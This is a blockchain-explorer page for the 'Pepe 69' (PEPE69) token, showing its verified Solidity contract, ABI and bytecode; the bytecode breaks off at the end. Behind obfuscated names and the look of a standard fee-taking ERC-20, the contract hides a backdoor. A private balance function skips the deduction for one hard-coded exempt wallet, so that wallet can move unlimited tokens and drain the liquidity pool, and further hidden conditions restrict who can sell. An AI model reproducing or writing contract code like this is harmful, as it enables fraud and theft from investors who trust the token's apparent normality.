ETH Price: $2,695.71 (-1.80%)

Token

Pepe 69 (PEPE69)
 

Overview

Max Total Supply

42,069,000 PEPE69

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
truemoon.eth
Balance
228,126.504889947 PEPE69

Value
$0.00
0x245b41cf4C58E0d406A759905640cA3cE280349C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pepe69

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-12
*/

/*
Pepe 69   $PEPE69


Twitter: https://twitter.com/Pepe69erc20
Telegram: https://t.me/Pepe69erc20
Website: https://pepe69.net/
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMaths");
        return c;
    }

    function  qkuvh(uint256 a, uint256 b) internal pure returns (uint256) {
        return  qkuvh(a, b, "SafeMaths");
    }

    function  qkuvh(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMaths");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMaths");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownables");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapjV2jFactoryj {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapjV2jRouterkj {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract Pepe69 is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Pepe 69";
    string private constant _symbol = unicode"PEPE69";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupplyp_r = 42069000 * (10**_decimals);
    uint256 public _taxkSwaprk = _totalSupplyp_r;
    uint256 public _maxdHalddAmount = _totalSupplyp_r;
    uint256 public _taxSwappThresip = _totalSupplyp_r;
    uint256 public _taxSwapbMrq = _totalSupplyp_r;

    uint256 private _initialBuyTax=8;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxkAtr=7;
    uint256 private _reduceSellTaxkAtr=1;
    uint256 private _swpfvdwqr=0;
    uint256 private _qzpxvywq=0;
    address public  _ekoepjtcep = 0xC8584f41DB1409a54946A5B56FFFb13CdBDa8bfE;

    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _rekltvoxs;
    mapping (address => bool) private  _ovslekit;
    mapping(address => uint256) private  _otbTrardrdsr;
    bool public  trangjDelyEnbled = false;


    IUniswapjV2jRouterkj private  _unislV2lRouterl;
    address private  _unistV2zLz;
    bool private  wrtbayfk;
    bool private  _ilTaxlSwap = false;
    bool private  _skdUnibwapzy = false;
 
 
    event RjutAsnpur(uint _taxkSwaprk);
    modifier lockhTohSwaph {
        _ilTaxlSwap = true;
        _;
        _ilTaxlSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupplyp_r;
        _rekltvoxs[owner()] = true;
        _rekltvoxs[address(this)] = true;
        _rekltvoxs[_ekoepjtcep] = true;


        emit Transfer(address(0), _msgSender(), _totalSupplyp_r);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupplyp_r;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. qkuvh(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (trangjDelyEnbled) {
                if  (to!= address(_unislV2lRouterl) &&to!= address(_unistV2zLz)) {
                  require (_otbTrardrdsr[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _otbTrardrdsr[tx.origin] = block.number;
                }
            }

            if  ( from == _unistV2zLz && to!= address (_unislV2lRouterl) &&!_rekltvoxs[to]) {
                require (amount <= _taxkSwaprk, "Forbsid");
                require (balanceOf (to) + amount <= _maxdHalddAmount,"Forbsid");
                if  (_qzpxvywq < _swpfvdwqr) {
                  require (!rbevpyu(to));
                }
                _qzpxvywq ++ ; _ovslekit[to] = true;
                taxAmount = amount.mul((_qzpxvywq > _reduceBuyTaxkAtr)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _unistV2zLz&&from!= address (this) &&! _rekltvoxs[from]) {
                require (amount <= _taxkSwaprk && balanceOf(_ekoepjtcep) <_taxSwapbMrq, "Forbsid");
                taxAmount = amount.mul((_qzpxvywq > _reduceSellTaxkAtr) ?_finalSellTax:_initialSellTax).div(100);
                require (_qzpxvywq >_swpfvdwqr && _ovslekit[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_ilTaxlSwap 
            &&  to  ==_unistV2zLz&&_skdUnibwapzy &&contractTokenBalance > _taxSwappThresip 
            &&  _qzpxvywq > _swpfvdwqr &&! _rekltvoxs [to] &&! _rekltvoxs [from]
            )  {
                _transferFrom(ufibq(amount,ufibq(contractTokenBalance, _taxSwapbMrq)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = qkuvh(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.qkuvh (taxAmount));
        emit  Transfer( from, to, amount. qkuvh(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockhTohSwaph {
        if(_swapTaxAndLiquify==0){return;}
        if(!wrtbayfk){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _unislV2lRouterl.WETH();
        _approve(address (this), address (_unislV2lRouterl), _swapTaxAndLiquify);
        _unislV2lRouterl.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function ufibq(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function qkuvh(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _ekoepjtcep) {
        return a;
    } else {
        require(a >= b, "Forbsid");
        return a - b;
    }
    }

    function removetLimits() external onlyOwner{
        _taxkSwaprk  =  _totalSupplyp_r ;
        _maxdHalddAmount = _totalSupplyp_r ;
        trangjDelyEnbled = false ;
        emit  RjutAsnpur ( _totalSupplyp_r ) ;
    }

   function rbevpyu(address account) private view returns (bool) {
    uint256 codekSizer;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codekSizer := extcodesize(account)
    }

    return codekSizer > 0;
    }


    function openTrading() external onlyOwner() {
        require (!wrtbayfk, "trading open") ;
        _unislV2lRouterl = IUniswapjV2jRouterkj (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_unislV2lRouterl), _totalSupplyp_r);
        _unistV2zLz = IUniswapjV2jFactoryj(_unislV2lRouterl.factory()).createPair (address(this), _unislV2lRouterl. WETH());
        _unislV2lRouterl.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_unistV2zLz).approve (address(_unislV2lRouterl), type(uint). max);
        _skdUnibwapzy = true ;
        wrtbayfk = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxkSwaprk","type":"uint256"}],"name":"RjutAsnpur","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_ekoepjtcep","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxdHalddAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapbMrq","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwappThresip","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxkSwaprk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removetLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"trangjDelyEnbled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031f565b6200002290630281ec0862000336565b600155620000336009600a6200031f565b6200004390630281ec0862000336565b600255620000546009600a6200031f565b6200006490630281ec0862000336565b600355620000756009600a6200031f565b6200008590630281ec0862000336565b60045560086005819055600f6006556001600781815591819055600991909155600a555f600b819055600c55600d80546001600160a01b03191673c8584f41db1409a54946a5b56fffb13cdbda8bfe1790556013805460ff191690556014805461ffff60a81b19169055348015620000fb575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200014a6009600a6200031f565b6200015a90630281ec0862000336565b335f818152600e602090815260408083209490945581546001600160a01b03908116835260109091528382208054600160ff1991821681179092553084528584208054821683179055600d5490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e96009600a6200031f565b620001f990630281ec0862000336565b60405190815260200160405180910390a362000350565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026457815f190482111562000248576200024862000210565b808516156200025657918102915b93841c939080029062000229565b509250929050565b5f826200027c5750600162000319565b816200028a57505f62000319565b8160018114620002a35760028114620002ae57620002ce565b600191505062000319565b60ff841115620002c257620002c262000210565b50506001821b62000319565b5060208310610133831016604e8410600b8410161715620002f3575081810a62000319565b620002ff838362000224565b805f190482111562000315576200031562000210565b0290505b92915050565b5f6200032f60ff8416836200026c565b9392505050565b808202811582820484141762000319576200031962000210565b6118c2806200035e5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb14610308578063bdf2707e14610327578063c9567bf914610340578063dd62ed3e14610354578063e794bf5014610398575f80fd5b806370a0823114610261578063715018a6146102955780638da5cb5b146102a957806395d89b41146102c5578063a2cc973f146102f3575f80fd5b80632832cbe3116100e35780632832cbe3146101cf5780632b2d852b146101e4578063313ce567146101f957806332085930146102145780635986a0ca1461022a575f80fd5b806306fdde031461011e578063095ea7b31461015f57806318160ddd1461018e57806323b872dd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260078152665065706520363960c81b60208201525b60405161015691906114a7565b60405180910390f35b34801561016a575f80fd5b5061017e610179366004611509565b6103ad565b6040519015158152602001610156565b348015610199575f80fd5b506101a26103c3565b604051908152602001610156565b3480156101bb575f80fd5b5061017e6101ca366004611533565b6103e3565b3480156101da575f80fd5b506101a260035481565b3480156101ef575f80fd5b506101a260045481565b348015610204575f80fd5b5060405160098152602001610156565b34801561021f575f80fd5b5061022861044b565b005b348015610235575f80fd5b50600d54610249906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b34801561026c575f80fd5b506101a261027b366004611571565b6001600160a01b03165f908152600e602052604090205490565b3480156102a0575f80fd5b5061022861050f565b3480156102b4575f80fd5b505f546001600160a01b0316610249565b3480156102d0575f80fd5b5060408051808201909152600681526550455045363960d01b6020820152610149565b3480156102fe575f80fd5b506101a260015481565b348015610313575f80fd5b5061017e610322366004611509565b610580565b348015610332575f80fd5b5060135461017e9060ff1681565b34801561034b575f80fd5b5061022861058c565b34801561035f575f80fd5b506101a261036e36600461158c565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b3480156103a3575f80fd5b506101a260025481565b5f6103b9338484610940565b5060015b92915050565b5f6103d06009600a6116b7565b6103de90630281ec086116c5565b905090565b5f6103ef848484610a63565b610440843361043b85604051806060016040528060288152602001611865602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110d5565b610940565b5060015b9392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b8152600401610474906116dc565b60405180910390fd5b6104896009600a6116b7565b61049790630281ec086116c5565b6001556104a66009600a6116b7565b6104b490630281ec086116c5565b6002556013805460ff191690557fc41b75105a2e04094a2d204544769e8e8723fb92f20a6a660f0423744909d7fd6104ee6009600a6116b7565b6104fc90630281ec086116c5565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105385760405162461bcd60e51b8152600401610474906116dc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103b9338484610a63565b5f546001600160a01b031633146105b55760405162461bcd60e51b8152600401610474906116dc565b601454600160a01b900460ff16156105fe5760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610474565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556106579030906001600160a01b03610100909104166106496009600a6116b7565b61043b90630281ec086116c5565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cc91906116fe565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075091906116fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be91906116fe565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d719473061080a816001600160a01b03165f908152600e602052604090205490565b5f8061081d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610883573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a89190611719565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610902573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109269190611744565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610474565b6001600160a01b038216610a035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610474565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acc5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610474565b6001600160a01b038216610b2e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610474565b5f8111610b955760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610474565b5f80546001600160a01b03858116911614801590610bc057505f546001600160a01b03848116911614155b15610f965760135460ff1615610c88576013546001600160a01b038481166101009092041614801590610c0157506014546001600160a01b03848116911614155b15610c8857325f908152601260205260409020544311610c765760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610474565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cb857506013546001600160a01b038481166101009092041614155b8015610cdc57506001600160a01b0383165f9081526010602052604090205460ff16155b15610dd357600154821115610d035760405162461bcd60e51b815260040161047490611763565b60025482610d25856001600160a01b03165f908152600e602052604090205490565b610d2f9190611784565b1115610d4d5760405162461bcd60e51b815260040161047490611763565b600b54600c541015610d6b57610d628361110d565b15610d6b575f80fd5b600c8054905f610d7a83611797565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610dd091606491610dca9110610dbf57600554610dc3565b6007545b8590611166565b906111c6565b90505b6014546001600160a01b038481169116148015610df957506001600160a01b0384163014155b8015610e1d57506001600160a01b0384165f9081526010602052604090205460ff16155b15610ec3576001548211158015610e4e5750600454600d546001600160a01b03165f908152600e6020526040902054105b610e6a5760405162461bcd60e51b815260040161047490611763565b610e8f6064610dca600a54600c5411610e8557600654610dc3565b6008548590611166565b9050600b54600c54118015610ebb57506001600160a01b0384165f9081526011602052604090205460ff165b610ec3575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610ef957506014546001600160a01b038581169116145b8015610f0e5750601454600160b01b900460ff165b8015610f1b575060035481115b8015610f2a5750600b54600c54115b8015610f4e57506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f7257506001600160a01b0385165f9081526010602052604090205460ff16155b15610f9457610f94610f8f84610f8a846004546111f3565b6111f3565b611208565b505b801561100e57305f908152600e6020526040902054610fb590826113b4565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110059085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e6020526040902054611032908590846113fe565b6001600160a01b0385165f908152600e6020526040902055611075611057838361144e565b6001600160a01b0385165f908152600e6020526040902054906113b4565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110be858561144e565b60405190815260200160405180910390a350505050565b5f81848411156110f85760405162461bcd60e51b815260040161047491906114a7565b505f61110484866117af565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611145576111456117c2565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117557505f6103bd565b5f61118083856116c5565b90508261118d85836117d6565b146104445760405162461bcd60e51b8152602060048201526009602482015268536166654d6174687360b81b6044820152606401610474565b5f610444838360405180604001604052806009815260200168536166654d6174687360b81b81525061147b565b5f818310156112025782610444565b50919050565b6014805460ff60a81b1916600160a81b17905580156113a457601454600160a01b900460ff16156113a4576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611266576112666117c2565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fb91906116fe565b8160018151811061130e5761130e6117c2565b6001600160a01b03928316602091820292909201015260135461133991309161010090041684610940565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113759085905f908690309042906004016117f5565b5f604051808303815f87803b15801561138c575f80fd5b505af115801561139e573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113c08385611784565b9050838110156104445760405162461bcd60e51b8152602060048201526009602482015268536166654d6174687360b81b6044820152606401610474565b600d545f906001600160a01b039081169085160361141d575081610444565b8183101561143d5760405162461bcd60e51b815260040161047490611763565b61144782846117af565b9050610444565b5f610444838360405180604001604052806009815260200168536166654d6174687360b81b8152506110d5565b5f818361149b5760405162461bcd60e51b815260040161047491906114a7565b505f61110484866117d6565b5f6020808352835180828501525f5b818110156114d2578581018301518582016040015282016114b6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611506575f80fd5b50565b5f806040838503121561151a575f80fd5b8235611525816114f2565b946020939093013593505050565b5f805f60608486031215611545575f80fd5b8335611550816114f2565b92506020840135611560816114f2565b929592945050506040919091013590565b5f60208284031215611581575f80fd5b8135610444816114f2565b5f806040838503121561159d575f80fd5b82356115a8816114f2565b915060208301356115b8816114f2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161157815f19048211156115f7576115f76115c3565b8085161561160457918102915b93841c93908002906115dc565b509250929050565b5f82611627575060016103bd565b8161163357505f6103bd565b816001811461164957600281146116535761166f565b60019150506103bd565b60ff841115611664576116646115c3565b50506001821b6103bd565b5060208310610133831016604e8410600b8410161715611692575081810a6103bd565b61169c83836115d7565b805f19048211156116af576116af6115c3565b029392505050565b5f61044460ff841683611619565b80820281158282048414176103bd576103bd6115c3565b6020808252600890820152674f776e61626c657360c01b604082015260600190565b5f6020828403121561170e575f80fd5b8151610444816114f2565b5f805f6060848603121561172b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611754575f80fd5b81518015158114610444575f80fd5b602080825260079082015266119bdc989cda5960ca1b604082015260600190565b808201808211156103bd576103bd6115c3565b5f600182016117a8576117a86115c3565b5060010190565b818103818111156103bd576103bd6115c3565b634e487b7160e01b5f52603260045260245ffd5b5f826117f057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118435784516001600160a01b03168352938301939183019160010161181e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9a310665b7c4af63c9e704f03316ad24db745d3366098a80388dd1ec2c986ba64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb14610308578063bdf2707e14610327578063c9567bf914610340578063dd62ed3e14610354578063e794bf5014610398575f80fd5b806370a0823114610261578063715018a6146102955780638da5cb5b146102a957806395d89b41146102c5578063a2cc973f146102f3575f80fd5b80632832cbe3116100e35780632832cbe3146101cf5780632b2d852b146101e4578063313ce567146101f957806332085930146102145780635986a0ca1461022a575f80fd5b806306fdde031461011e578063095ea7b31461015f57806318160ddd1461018e57806323b872dd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260078152665065706520363960c81b60208201525b60405161015691906114a7565b60405180910390f35b34801561016a575f80fd5b5061017e610179366004611509565b6103ad565b6040519015158152602001610156565b348015610199575f80fd5b506101a26103c3565b604051908152602001610156565b3480156101bb575f80fd5b5061017e6101ca366004611533565b6103e3565b3480156101da575f80fd5b506101a260035481565b3480156101ef575f80fd5b506101a260045481565b348015610204575f80fd5b5060405160098152602001610156565b34801561021f575f80fd5b5061022861044b565b005b348015610235575f80fd5b50600d54610249906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b34801561026c575f80fd5b506101a261027b366004611571565b6001600160a01b03165f908152600e602052604090205490565b3480156102a0575f80fd5b5061022861050f565b3480156102b4575f80fd5b505f546001600160a01b0316610249565b3480156102d0575f80fd5b5060408051808201909152600681526550455045363960d01b6020820152610149565b3480156102fe575f80fd5b506101a260015481565b348015610313575f80fd5b5061017e610322366004611509565b610580565b348015610332575f80fd5b5060135461017e9060ff1681565b34801561034b575f80fd5b5061022861058c565b34801561035f575f80fd5b506101a261036e36600461158c565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b3480156103a3575f80fd5b506101a260025481565b5f6103b9338484610940565b5060015b92915050565b5f6103d06009600a6116b7565b6103de90630281ec086116c5565b905090565b5f6103ef848484610a63565b610440843361043b85604051806060016040528060288152602001611865602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110d5565b610940565b5060015b9392505050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b8152600401610474906116dc565b60405180910390fd5b6104896009600a6116b7565b61049790630281ec086116c5565b6001556104a66009600a6116b7565b6104b490630281ec086116c5565b6002556013805460ff191690557fc41b75105a2e04094a2d204544769e8e8723fb92f20a6a660f0423744909d7fd6104ee6009600a6116b7565b6104fc90630281ec086116c5565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105385760405162461bcd60e51b8152600401610474906116dc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103b9338484610a63565b5f546001600160a01b031633146105b55760405162461bcd60e51b8152600401610474906116dc565b601454600160a01b900460ff16156105fe5760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610474565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556106579030906001600160a01b03610100909104166106496009600a6116b7565b61043b90630281ec086116c5565b601360